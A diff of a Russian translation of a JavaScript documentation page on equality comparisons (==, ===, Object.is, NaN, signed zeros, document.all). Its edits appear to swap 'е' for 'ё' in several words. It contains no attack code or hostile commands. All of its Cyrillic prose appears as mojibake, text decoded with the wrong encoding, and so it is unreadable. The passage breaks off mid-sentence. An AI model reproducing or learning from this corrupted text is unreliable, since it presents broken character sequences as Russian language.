-<p class="syntaxbox">Π’ ΠΎΠ±Ρ‰ΠΈΡ… Ρ‡Π΅Ρ€Ρ‚Π°Ρ…, Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ сравнСниСм Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ²; Ρ‚Ρ€ΠΎΠΉΠ½ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ сравниваСт Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ Π±Π΅Π· привСдСния (Ссли Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ², Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>, Π΄Π°ΠΆΠ΅ Π½Π΅ сравнивая); Π½Ρƒ ΠΈ <code>Object.is</code> Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Ρ‚Ρ€ΠΎΠΉΠ½ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ, Π½ΠΎ со ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ для <code>NaN</code>, <code>-0</code> ΠΈ <code>+0</code>, возвращая <code>false</code> ΠΏΡ€ΠΈ сравнСнии  <code>-0</code> ΠΈ <code>+0</code>, ΠΈ <code>true</code> для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ <code>Object.is(NaN, NaN)</code>. (Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ ΠΈΠ»ΠΈ Ρ‚Ρ€ΠΎΠΉΠ½ΠΎΠ΅ равСнство Π²Π΅Ρ€Π½ΡƒΡ‚ <code>false</code> согласно стандарту IEEE 754.) Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС эти различия Π² сравнСниях ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ лишь для ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠ². Для Π»ΡŽΠ±Ρ‹Ρ… Π½Π΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>x</code> ΠΈ <code>y</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ структуры, Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ <code>x</code> ΠΈ <code>y</code> Π½Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚), всС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ сравнСния Π²Π΅Ρ€Π½ΡƒΡ‚ <code>false</code>.</p>
+<p class="syntaxbox">Π’ ΠΎΠ±Ρ‰ΠΈΡ… Ρ‡Π΅Ρ€Ρ‚Π°Ρ…, Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄ сравнСниСм Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ²; Ρ‚Ρ€ΠΎΠΉΠ½ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ сравниваСт Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ Π±Π΅Π· привСдСния (Ссли Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ², Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>, Π΄Π°ΠΆΠ΅ Π½Π΅ сравнивая); Π½Ρƒ ΠΈ <code>Object.is</code> Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Ρ‚Ρ€ΠΎΠΉΠ½ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ, Π½ΠΎ со ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ для <code>NaN</code>, <code>-0</code> ΠΈ <code>+0</code>, возвращая <code>false</code> ΠΏΡ€ΠΈ сравнСнии  <code>-0</code> ΠΈ <code>+0</code>, ΠΈ <code>true</code> для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ <code>Object.is(NaN, NaN)</code>. (Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ ΠΈΠ»ΠΈ Ρ‚Ρ€ΠΎΠΉΠ½ΠΎΠ΅ равСнство Π²Π΅Ρ€Π½ΡƒΡ‚ <code>false</code> согласно стандарту IEEE 754.) Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС эти различия Π² сравнСниях ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ лишь для ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠ². Для Π»ΡŽΠ±Ρ‹Ρ… Π½Π΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>x</code> ΠΈ <code>y</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ структуры, Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ <code>x</code> ΠΈ <code>y</code> Π½Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚), всС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ сравнСния Π²Π΅Ρ€Π½ΡƒΡ‚ <code>false</code>.</p>
<h2 id="Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅_с_использованиСм">Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ с использованиСм <code>==</code></h2>
@@ -109,7 +109,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness
<p>Π’ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π²Ρ‹ΡˆΠ΅, ToNumber(A) пытаСтся пСрСд сравнСниСм привСсти свой Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊ числу. Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ эквивалСнтно <code>+A</code> (ΡƒΠ½Π°Ρ€Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>+</code>).Β  Если ToPrimitive(A) ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ <em>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚</em> Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚ΠΎ производятся ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ привСсти Π΅Π³ΠΎ ΠΊ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρƒ, вызывая Π½Π° Π½Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>A.toString</code> ΠΈ <code>A.valueOf</code>.</p>
-<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ</span><span> (</span><span class="hps">ΠΈ Π² соотвСтствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</span> <span class="hps">Π½Π΅ Ρ€Π°Π²Π΅Π½</span>Β </span><code>undefined</code> ΠΈΠ»ΠΈ <code>null</code>.Β  Но Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² позволяСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ классу ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²<span id="result_box" lang="ru"><span class="hps"> (Π² частности,</span> <span class="hps">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>ΡΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ </span></span><code>undefined.</code>Β  ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ равСнства Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true для <code>null == A</code> ΠΈ <code>undefined == A</code>, Ρ‚ΠΎΠ³Π΄Π°, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ эмулируСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>. Π’ΠΎ всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π΅Π½ <code>undefined</code> ΠΈΠ»ΠΈ <code>null</code>.</p>
+<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎ</span><span> (</span><span class="hps">ΠΈ Π² соотвСтствии с</span> <span class="hps">ECMAScript</span><span>)</span>, <span class="hps">Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</span> <span class="hps">Π½Π΅ Ρ€Π°Π²Π΅Π½</span>Β </span><code>undefined</code> ΠΈΠ»ΠΈ <code>null</code>.Β  Но Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² позволяСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ классу ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²<span id="result_box" lang="ru"><span class="hps"> (Π² частности,</span> <span class="hps">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ</span> <code><span class="hps">document.all</span></code> <span class="hps">для любой страницы</span><span>) <em>ΡΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ </span></span><code>undefined.</code>Β  ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ равСнства Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ true для <code>null == A</code> ΠΈ <code>undefined == A</code>, Ρ‚ΠΎΠ³Π΄Π°, ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ эмулируСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>undefined</code>. Π’ΠΎ всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π΅Π½ <code>undefined</code> ΠΈΠ»ΠΈ <code>null</code>.</p>
<pre class="brush: js">var num = 0;
var obj = new String("0");
@@ -134,7 +134,7 @@ console.log(obj == undefined);
<h2 id="Π‘Ρ‚Ρ€ΠΎΠ³ΠΎΠ΅_равСнство_с_использованиСм">Π‘Ρ‚Ρ€ΠΎΠ³ΠΎΠ΅ равСнство с использованиСм <code>===</code></h2>
-<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ провСряСт Π½Π° равСнство Π΄Π²Π΅ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹, ΠΏΡ€ΠΈ этом Ρ‚ΠΈΠΏ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ ΠΏΠ΅Ρ€Π΅Π΄ сравнСниСм Π½Π΅ измСняСтся (Π½Π΅ приводится). Если значСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Ρ‚ΠΈΠΏΡ‹, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны всС Π½Π΅ числовыС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ, ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ собой, Ссли содСрТат ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹. Ну ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, числовыС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ, Ссли ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ значСния, Π»ΠΈΠ±ΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· Π½ΠΈΡ…Β <code>+0</code>, Π° вторая <code>-0</code>. Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, Ссли хотя Π±Ρ‹ ΠΎΠ΄Π½Π° ΠΈΠ· числовых ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>NaN</code>, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>.</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠ³ΠΎΠ΅ Ρ€Π°Π²Π½ΠΎ провСряСт Π½Π° равСнство Π΄Π²Π΅ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹, ΠΏΡ€ΠΈ этом Ρ‚ΠΈΠΏ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ ΠΏΠ΅Ρ€Π΅Π΄ сравнСниСм Π½Π΅ измСняСтся (Π½Π΅ приводится). Если значСния ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Ρ‚ΠΈΠΏΡ‹, Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны всС Π½Π΅ числовыС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ, ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ собой, Ссли содСрТат ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹. Ну ΠΈ, Π½Π°ΠΊΠΎΠ½Π΅Ρ†, числовыС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ, Ссли ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ значСния, Π»ΠΈΠ±ΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· Π½ΠΈΡ…Β <code>+0</code>, Π° вторая <code>-0</code>. Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, Ссли хотя Π±Ρ‹ ΠΎΠ΄Π½Π° ΠΈΠ· числовых ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>NaN</code>, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>.</p>
<pre class="brush: js">var num = 0;
var obj = new String("0");
@@ -153,7 +153,7 @@ console.log(obj === null); // false
console.log(obj === undefined); // false
</pre>
-<p>ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈ всСгда для сравнСния слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ строгого равСнства. Для всСх Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ числовых ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ очСвидная сСмантика: Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π° Ρ€Π°Π²Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сама сСбС. Как Π±Ρ‹Π»ΠΎ сказано Π²Ρ‹ΡˆΠ΅ для числовых Ρ‚ΠΈΠΏΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄Π²Π° особых случая. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, сравнСниС <code>+0</code> ΠΈ <code>-0</code>. Π—Π½Π°ΠΊ для нуля Π²Π²Π΅Π΄Π΅Π½ для упрощСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… вычислСний с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой, ΠΎΠ΄Π½Π°ΠΊΠΎ, с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ, Ρ€Π°Π·Π½ΠΈΡ†Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ <code>+0</code> ΠΈ <code>-0</code> Π½Π΅ сущСствуСт, поэтому ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ строгого равСнства считаСт ΠΈΡ… Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ. Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, сравнСниС Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ <code>NaN</code>. <code>NaN</code> (Not a number) прСдставляСт ΠΈΠ· сСбя Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСтся для Π½Π΅ Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… матСматичСских Π·Π°Π΄Π°Ρ‡ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>+∞ + -∞</code>). Для ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° строго равСнства <code>NaN</code> Π½Π΅ Ρ€Π°Π²Π΅Π½ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· Π²Π΅Π»ΠΈΡ‡ΠΈΠ½, Π² Ρ‚ΠΎΠΌ числС ΠΈ самому сСбС (СдинствСнный случай, ΠΊΠΎΠ³Π΄Π° <code>(x!==x)</code> Π²Π΅Ρ€Π½Π΅Ρ‚ true).</p>
+<p>ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈ всСгда для сравнСния слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ строгого равСнства. Для всСх Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ числовых ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ очСвидная сСмантика: Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π° Ρ€Π°Π²Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сама сСбС. Как Π±Ρ‹Π»ΠΎ сказано Π²Ρ‹ΡˆΠ΅ для числовых Ρ‚ΠΈΠΏΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΄Π²Π° особых случая. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, сравнСниС <code>+0</code> ΠΈ <code>-0</code>. Π—Π½Π°ΠΊ для нуля Π²Π²Π΅Π΄Ρ‘Π½ для упрощСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… вычислСний с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой, ΠΎΠ΄Π½Π°ΠΊΠΎ, с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ, Ρ€Π°Π·Π½ΠΈΡ†Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ <code>+0</code> ΠΈ <code>-0</code> Π½Π΅ сущСствуСт, поэтому ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ строгого равСнства считаСт ΠΈΡ… Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ. Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, сравнСниС Π²Π΅Π»ΠΈΡ‡ΠΈΠ½ <code>NaN</code>. <code>NaN</code> (Not a number) прСдставляСт ΠΈΠ· сСбя Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ примСняСтся для Π½Π΅ Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… матСматичСских Π·Π°Π΄Π°Ρ‡ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>+∞ + -∞</code>). Для ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° строго равСнства <code>NaN</code> Π½Π΅ Ρ€Π°Π²Π΅Π½ Π½ΠΈ ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· Π²Π΅Π»ΠΈΡ‡ΠΈΠ½, Π² Ρ‚ΠΎΠΌ числС ΠΈ самому сСбС (СдинствСнный случай, ΠΊΠΎΠ³Π΄Π° <code>(x!==x)</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ true).</p>
<h2 id="РавСнство_ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Ρ…_Π²Π΅Π»ΠΈΡ‡ΠΈΠ½">РавСнство ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Ρ… Π²Π΅Π»ΠΈΡ‡ΠΈΠ½</h2>
@@ -169,7 +169,7 @@ function attemptMutation(v)
}
</pre>
-<p>ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ измСнСния нСизмСняСмого свойства, Π²Ρ‹Π·ΠΎΠ² <code>Object.defineProperty выбросит</code> ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ, Ссли Π½ΠΎΠ²ΠΎΠ΅ свойство равняСтся старому, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ ΠΈ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ. Если <code>v</code> содСрТит <code>-0</code>, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Π° Π·Π½Π°Ρ‡ΠΈΡ‚, ΠΊΠΎΠ΄ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π±Π΅Π· выброса ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ. Однако, Ссли ΠΆΠ΅ <code>v</code> содСрТит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> ΡƒΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ свою Π½Π΅ΠΈΠ·ΠΌΠ΅Π½ΡΠ΅ΠΌΡƒΡŽ 